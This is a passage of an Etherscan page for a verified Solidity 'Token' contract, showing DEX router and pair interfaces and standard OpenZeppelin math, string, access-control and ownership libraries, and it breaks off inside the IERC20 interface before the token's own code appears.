Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17647235 | 484 days ago | Contract Creation | 0 ETH |
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-08 */ /** *Submitted for verification at Etherscan.io on 2023-06-29 */ // File: IPancakePair.sol pragma solidity ^0.8.4; interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: ISwapFactory.sol pragma solidity ^0.8.4; interface ISwapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } // File: ISwapRouter.sol pragma solidity ^0.8.4; interface ISwapRouter { function factoryV2() external pure returns (address); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/math/SignedMath.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) pragma solidity ^0.8.0; /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } // File: @openzeppelin/contracts/utils/math/Math.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toString(int256 value) internal pure returns (string memory) { return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value)))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); } } // File: @openzeppelin/contracts/access/IAccessControl.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/AccessControl.sol // OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ```solidity * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ```solidity * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules} * to enforce additional security measures for this role. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `_msgSender()` is missing `role`. * Overriding this function changes the behavior of the {onlyRole} modifier. * * Format of the revert message is described in {_checkRole}. * * _Available since v4.6._ */ function _checkRole(bytes32 role) internal view virtual { _checkRole(role, _msgSender()); } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(account), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. * * May emit a {RoleGranted} event. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. * * May emit a {RoleRevoked} event. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. * * May emit a {RoleRevoked} event. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * May emit a {RoleGranted} event. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. * * May emit a {RoleGranted} event. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. * * May emit a {RoleRevoked} event. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev 